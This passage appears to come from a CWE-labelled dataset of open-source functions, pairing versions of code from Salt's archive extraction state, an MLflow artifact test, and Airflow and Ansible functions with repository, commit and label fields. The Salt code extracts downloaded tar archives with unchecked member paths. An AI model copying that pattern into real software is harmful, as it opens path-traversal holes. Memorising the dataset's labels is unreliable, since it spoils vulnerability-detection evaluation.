                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output:
        if trim_output is True:
            trim_output = 100
        elif not isinstance(trim_output, (bool, six.integer_types)):
            try:
                # Try to handle cases where trim_output was passed as a
                # string-ified integer.
                trim_output = int(trim_output)
            except TypeError:
                ret['comment'] = (
                    'Invalid value for trim_output, must be True/False or an '
                    'integer'
                )
                return ret

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum'](
                source=source_match,
                source_hash=source_hash,
                source_hash_name=source_hash_name,
                saltenv=__env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret
    else:
        source_sum = {}

    if source_is_local:
        cached_source = source_match
    else:
        cached_source = os.path.join(
            __opts__['cachedir'],
            'files',
            __env__,
            re.sub(r'[:/\\]', '_', source_hash_basename),
        )

        if os.path.isdir(cached_source):
            # Prevent a traceback from attempting to read from a directory path
            salt.utils.files.rm_rf(cached_source)

    existing_cached_source_sum = _read_cached_checksum(cached_source)

    if source_is_local:
        # No need to download archive, it's local to the minion
        update_source = False
    else:
        if not os.path.isfile(cached_source):
            # Archive not cached, we need to download it
            update_source = True
        else:
            # Archive is cached, keep=True likely used in prior run. If we need
            # to verify the hash, then we *have* to update the source archive
            # to know whether or not the hash changed. Hence the below
            # statement. bool(source_hash) will be True if source_hash was
            # passed, and otherwise False.
            update_source = bool(source_hash)

    if update_source:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = (
                'Archive {0} would be downloaded to cache and checked to '
                'discover if extraction is necessary'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        # NOTE: This will result in more than one copy of the source archive on
        # the minion. The reason this is necessary is because if we are
        # tracking the checksum using source_hash_update, we need a location
        # where we can place the checksum file alongside the cached source
        # file, where it won't be overwritten by caching a file with the same
        # name in the same parent dir as the source file. Long term, we should
        # come up with a better solution for this.
        file_result = __states__['file.managed'](cached_source,
                                                 source=source_match,
                                                 source_hash=source_hash,
                                                 source_hash_name=source_hash_name,
                                                 makedirs=True,
                                                 skip_verify=skip_verify)
        log.debug('file.managed: {0}'.format(file_result))

        # Prevent a traceback if errors prevented the above state from getting
        # off the ground.
        if isinstance(file_result, list):
            try:
                ret['comment'] = '\n'.join(file_result)
            except TypeError:
                ret['comment'] = '\n'.join([str(x) for x in file_result])
            return ret

        try:
            if not file_result['result']:
                log.debug(
                    'failed to download %s',
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
                return file_result
        except TypeError:
            if not file_result:
                log.debug(
                    'failed to download %s',
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
                return file_result

    else:
        log.debug(
            'Archive %s is already in cache',
            salt.utils.url.redact_http_basic_auth(source_match)
        )

    if source_hash and source_hash_update and not skip_verify:
        # Create local hash sum file if we're going to track sum update
        _update_checksum(cached_source)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        salt.utils.url.redact_http_basic_auth(source_match)
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    extraction_needed = overwrite
    contents_missing = False

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                            contents_missing = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    if not extraction_needed \
            and source_hash_update \
            and existing_cached_source_sum is not None \
            and not _compare_checksum(cached_source, existing_cached_source_sum):
        extraction_needed = True
        source_hash_trigger = True
    else:
        source_hash_trigger = False

    created_destdir = False

    if extraction_needed:
        if source_is_local and source_hash and not skip_verify:
            ret['result'] = __salt__['file.check_hash'](source_match, source_sum['hsum'])
            if not ret['result']:
                ret['comment'] = \
                    '{0} does not match the desired source_hash {1}'.format(
                        source_match, source_sum['hsum']
                    )
                return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            _add_explanation(ret, source_hash_trigger, contents_missing)
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __states__['file.directory'](name, user=user, makedirs=True)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                            if trim_output:
                                files = files[:trim_output]
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-t', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse,
                                                          test=__opts__['test'])
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(
                salt.utils.url.redact_http_basic_auth(source_match),
                name,
            )
            _add_explanation(ret, source_hash_trigger, contents_missing)
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'No files were extracted from {0}'.format(
                salt.utils.url.redact_http_basic_auth(source_match)
            )
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    if not source_is_local and not keep:
        for path in (cached_source, __salt__['cp.is_cached'](source_match)):
            if not path:
                continue
            log.debug('Cleaning cached source file %s', path)
            try:
                os.remove(path)
            except OSError as exc:
                if exc.errno != errno.ENOENT:
                    log.error(
                        'Failed to clean cached source file %s: %s',
                        cached_source, exc.__str__()
                    )

    return ret"
,UNKNOWN,UNKNOWN,tests/tracking/test_mlflow_artifacts.py,1,"def test_mlflow_artifacts_rest_apis(artifacts_server, tmpdir):
    default_artifact_root = artifacts_server.default_artifact_root
    artifacts_destination = artifacts_server.artifacts_destination

    # Upload artifacts
    file_a = tmpdir.join(""a.txt"")
    file_a.write(""0"")
    upload_file(file_a, f""{default_artifact_root}/a.txt"")
    assert os.path.exists(os.path.join(artifacts_destination, ""a.txt""))
    assert read_file(os.path.join(artifacts_destination, ""a.txt"")) == ""0""

    file_b = tmpdir.join(""b.txt"")
    file_b.write(""1"")
    upload_file(file_b, f""{default_artifact_root}/dir/b.txt"")
    assert os.path.join(artifacts_destination, ""dir"", ""b.txt"")
    assert read_file(os.path.join(artifacts_destination, ""dir"", ""b.txt"")) == ""1""

    # Download artifacts
    local_dir = tmpdir.mkdir(""folder"")
    local_path_a = local_dir.join(""a.txt"")
    download_file(f""{default_artifact_root}/a.txt"", local_path_a)
    assert read_file(local_path_a) == ""0""

    local_path_b = local_dir.join(""b.txt"")
    download_file(f""{default_artifact_root}/dir/b.txt"", local_path_b)
    assert read_file(local_path_b) == ""1""

    # List artifacts
    resp = requests.get(default_artifact_root)
    assert resp.json() == {
        ""files"": [
            {""path"": ""a.txt"", ""is_dir"": False, ""file_size"": 1},
            {""path"": ""dir"", ""is_dir"": True},
        ]
    }
    resp = requests.get(default_artifact_root, params={""path"": ""dir""})
    assert resp.json() == {""files"": [{""path"": ""b.txt"", ""is_dir"": False, ""file_size"": 1}]}",CWE-703,mlflow/mlflow,a20bb49d04b63d83c7e98c8f6b692c1ec7c0b2f9,"def test_mlflow_artifacts_rest_apis(artifacts_server, tmpdir):
    default_artifact_root = artifacts_server.default_artifact_root
    artifacts_destination = artifacts_server.artifacts_destination

    # Upload artifacts
    file_a = tmpdir.join(""a.txt"")
    file_a.write(""0"")
    upload_file(file_a, f""{default_artifact_root}/a.txt"")
    assert os.path.exists(os.path.join(artifacts_destination, ""a.txt""))
    assert read_file(os.path.join(artifacts_destination, ""a.txt"")) == ""0""

    file_b = tmpdir.join(""b.txt"")
    file_b.write(""1"")
    upload_file(file_b, f""{default_artifact_root}/dir/b.txt"")
    assert os.path.join(artifacts_destination, ""dir"", ""b.txt"")
    assert read_file(os.path.join(artifacts_destination, ""dir"", ""b.txt"")) == ""1""

    # Download artifacts
    local_dir = tmpdir.mkdir(""folder"")
    local_path_a = local_dir.join(""a.txt"")
    download_file(f""{default_artifact_root}/a.txt"", local_path_a)
    assert read_file(local_path_a) == ""0""

    local_path_b = local_dir.join(""b.txt"")
    download_file(f""{default_artifact_root}/dir/b.txt"", local_path_b)
    assert read_file(local_path_b) == ""1""

    # List artifacts
    resp = requests.get(default_artifact_root)
    assert resp.json() == {
        ""files"": [
            {""path"": ""a.txt"", ""is_dir"": False, ""file_size"": ""1""},
            {""path"": ""dir"", ""is_dir"": True},
        ]
    }
    resp = requests.get(default_artifact_root, params={""path"": ""dir""})
    assert resp.json() == {""files"": [{""path"": ""b.txt"", ""is_dir"": False, ""file_size"": ""1""}]}"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/common/sql/src/airflow/providers/common/sql/hooks/sql.py,0,"def run(
        self,
        sql: str | Iterable[str],
        autocommit: bool = ...,
        parameters: Iterable | Mapping[str, Any] | None = ...,
        handler: Callable[[Any], T] = ...,
        split_statements: bool = ...,
        return_last: bool = ...,
    ) -> tuple | list | list[tuple] | list[list[tuple] | tuple] | None: ...",CWE-Unknown,apache/airflow,64e7408cd35cce3ae8a90b2cf17b154e0d1fde67,"def run(
        self,
        sql: str | Iterable[str],
        autocommit: bool = ...,
        parameters: Iterable | Mapping[str, Any] | None = ...,
        handler: Callable[[Any], T] = ...,
        split_statements: bool = ...,
        return_last: bool = ...,
    ) -> tuple | list[tuple] | list[list[tuple] | tuple] | None: ..."
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/pause.py,0,"def run(self, tmp=None, task_vars=None):
        ''' run the pause action module '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        duration_unit = 'minutes'
        prompt = None
        seconds = None
        result.update(dict(
            changed = False,
            rc      = 0,
            stderr  = '',
            stdout  = '',
            start   = None,
            stop    = None,
            delta   = None,
        ))

        # Is 'args' empty, then this is the default prompted pause
        if self._task.args is None or len(self._task.args.keys()) == 0:
            prompt = ""[%s]\nPress enter to continue:"" % self._task.get_name().strip()

        # Are 'minutes' or 'seconds' keys that exist in 'args'?
        elif 'minutes' in self._task.args or 'seconds' in self._task.args:
            try:
                if 'minutes' in self._task.args:
                    # The time() command operates in seconds so we need to
                    # recalculate for minutes=X values.
                    seconds = int(self._task.args['minutes']) * 60
                else:
                    seconds = int(self._task.args['seconds'])
                    duration_unit = 'seconds'

            except ValueError as e:
                result['failed'] = True
                result['msg'] = ""non-integer value given for prompt duration:\n%s"" % str(e)
                return result

        # Is 'prompt' a key in 'args'?
        elif 'prompt' in self._task.args:
            prompt = ""[%s]\n%s:"" % (self._task.get_name().strip(), self._task.args['prompt'])

        else:
            # I have no idea what you're trying to do. But it's so wrong.
            result['failed'] = True
            result['msg'] = ""invalid pause type given. must be one of: %s"" % "", "".join(self.PAUSE_TYPES)
            return result

        ########################################################################
        # Begin the hard work!

        start = time.time()
        result['start'] = str(datetime.datetime.now())
        result['user_input'] = ''

        fd = None
        old_settings = None
        try:
            if seconds is not None:
                if seconds < 1:
                    seconds = 1
                # setup the alarm handler
                signal.signal(signal.SIGALRM, timeout_handler)
                signal.alarm(seconds)
                # show the prompt
                display.display(""Pausing for %d seconds"" % seconds)
                display.display(""(ctrl+C then 'C' = continue early, ctrl+C then 'A' = abort)\r""),
            else:
                display.display(prompt)

            # save the attributes on the existing (duped) stdin so
            # that we can restore them later after we set raw mode
            fd = None
            try:
                fd = self._connection._new_stdin.fileno()
            except (ValueError, AttributeError):
                # ValueError: someone is using a closed file descriptor as stdin
                # AttributeError: someone is using a null file descriptor as stdin on windoez
                pass
            if fd is not None:
                if isatty(fd):
                    old_settings = termios.tcgetattr(fd)
                    tty.setraw(fd)

                    # flush the buffer to make sure no previous key presses
                    # are read in below
                    termios.tcflush(self._connection._new_stdin, termios.TCIFLUSH)
            while True:
                try:
                    if fd is not None:
                        key_pressed = self._connection._new_stdin.read(1)
                        if key_pressed == '\x03':
                            raise KeyboardInterrupt

                    if not seconds:
                        if fd is None or not isatty(fd):
                            display.warning(""Not waiting from prompt as stdin is not interactive"")
                            break
                        # read key presses and act accordingly
                        if key_pressed == '\r':
                            break
                        else:
                            result['user_input'] += key_pressed

                except KeyboardInterrupt:
                    if seconds is not None:
                        signal.alarm(0)
                    display.display(""Press 'C' to continue the play or 'A' to abort \r""),
                    if self._c_or_a():
                        break
                    else:
                        raise AnsibleError('user requested abort!')


        except AnsibleTimeoutExceeded:
            # this is the exception we expect when the alarm signal
            # fires, so we simply ignore it to move into the cleanup
            pass
        finally:
            # cleanup and save some information
            # restore the old settings for the duped stdin fd
            if not(None in (fd, old_settings)) and isatty(fd):
                termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

            duration = time.time() - start
            result['stop'] = str(datetime.datetime.now())
            result['delta'] = int(duration)

            if duration_unit == 'minutes':
                duration = round(duration / 60.0, 2)
            else:
                duration = round(duration, 2)
            result['stdout'] = ""Paused for %s %s"" % (duration, duration_unit)

        return result",,ansible/ansible,7cd2b8d7a06818f5d885c906385510c5676b5637,"def run(self, tmp=None, task_vars=None):
        ''' run the pause action module '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        duration_unit = 'minutes'
        prompt = None
        seconds = None
        result.update(dict(
            changed = False,
            rc      = 0,
            stderr  = '',
            stdout  = '',
            start   = None,
            stop    = None,
            delta   = None,
        ))

        # Is 'args' empty, then this is the default prompted pause
        if self._task.args is None or len(self._task.args.keys()) == 0:
            prompt = ""[%s]\nPress enter to continue:"" % self._task.get_name().strip()

        # Are 'minutes' or 'seconds' keys that exist in 'args'?
        elif 'minutes' in self._task.args or 'seconds' in self._task.args:
            try:
                if 'minutes' in self._task.args:
                    # The time() command operates in seconds so we need to
                    # recalculate for minutes=X values.
                    seconds = int(self._task.args['minutes']) * 60
                else:
                    seconds = int(self._task.args['seconds'])
                    duration_unit = 'seconds'

            except ValueError as e:
                result['failed'] = True
                result['msg'] = ""non-integer value given for prompt duration:\n%s"" % str(e)
                return result

        # Is 'prompt' a key in 'args'?
        elif 'prompt' in self._task.args:
            prompt = ""[%s]\n%s:"" % (self._task.get_name().strip(), self._task.args['prompt'])

        else:
            # I have no idea what you're trying to do. But it's so wrong.
            result['failed'] = True
            result['msg'] = ""invalid pause type given. must be one of: %s"" % "", "".join(self.PAUSE_TYPES)
            return result

        ########################################################################
        # Begin the hard work!

        start = time.time()
        result['start'] = str(datetime.datetime.now())
        result['user_input'] = ''

        fd = None
        old_settings = None
        try:
            if seconds is not None:
                if seconds < 1:
                    seconds = 1
                # setup the alarm handler
                signal.signal(signal.SIGALRM, timeout_handler)
                signal.alarm(seconds)
                # show the prompt
                display.display(""Pausing for %d seconds"" % seconds)
                display.display(""(ctrl+C then 'C' = continue early, ctrl+C then 'A' = abort)\r""),
            else:
                display.display(prompt)

            # save the attributes on the existing (duped) stdin so
            # that we can restore them later after we set raw mode
            fd = None
            try:
                fd = self._connection._new_stdin.fileno()
            except ValueError:
                # someone is using a closed file descriptor as stdin
                pass
            if fd is not None:
                if isatty(fd):
                    old_settings = termios.tcgetattr(fd)
                    tty.setraw(fd)

                    # flush the buffer to make sure no previous key presses
                    # are read in below
                    termios.tcflush(self._connection._new_stdin, termios.TCIFLUSH)
            while True:
                try:
                    if fd is not None:
                        key_pressed = self._connection._new_stdin.read(1)
                        if key_pressed == '\x03':
                            raise KeyboardInterrupt

                    if not seconds:
                        if fd is None or not isatty(fd):
                            display.warning(""Not waiting from prompt as stdin is not interactive"")
                            break
                        # read key presses and act accordingly
                        if key_pressed == '\r':
                            break
                        else:
                            result['user_input'] += key_pressed

                except KeyboardInterrupt:
                    if seconds is not None:
                        signal.alarm(0)
                    display.display(""Press 'C' to continue the play or 'A' to abort \r""),
                    if self._c_or_a():
                        break
                    else:
                        raise AnsibleError('user requested abort!')


        except AnsibleTimeoutExceeded:
            # this is the exception we expect when the alarm signal
            # fires, so we simply ignore it to move into the cleanup
            pass
        finally:
            # cleanup and save some information
            # restore the old settings for the duped stdin fd
            if not(None in (fd, old_settings)) and isatty(fd):
                termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

            duration = time.time() - start
            result['stop'] = str(datetime.datetime.now())
            result['delta'] = int(duration)

            if duration_unit == 'minutes':
                duration = round(duration / 60.0, 2)
            else:
                duration = round(duration, 2)
            result['stdout'] = ""Paused for %s %s"" % (duration, duration_unit)

        return result"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/sentry.py,0,"def enrich_errors(self, func):
            """"""
            Decorate errors.

            Wrap TaskInstance._run_raw_task to support task specific tags and breadcrumbs.
            """"""
            session_args_idx = find_session_idx(func)

            @wraps(func)
            def wrapper(_self, *args, **kwargs):
                # Wrapping the _run_raw_task function with push_scope to contain
                # tags and breadcrumbs to a specific Task Instance

                try:
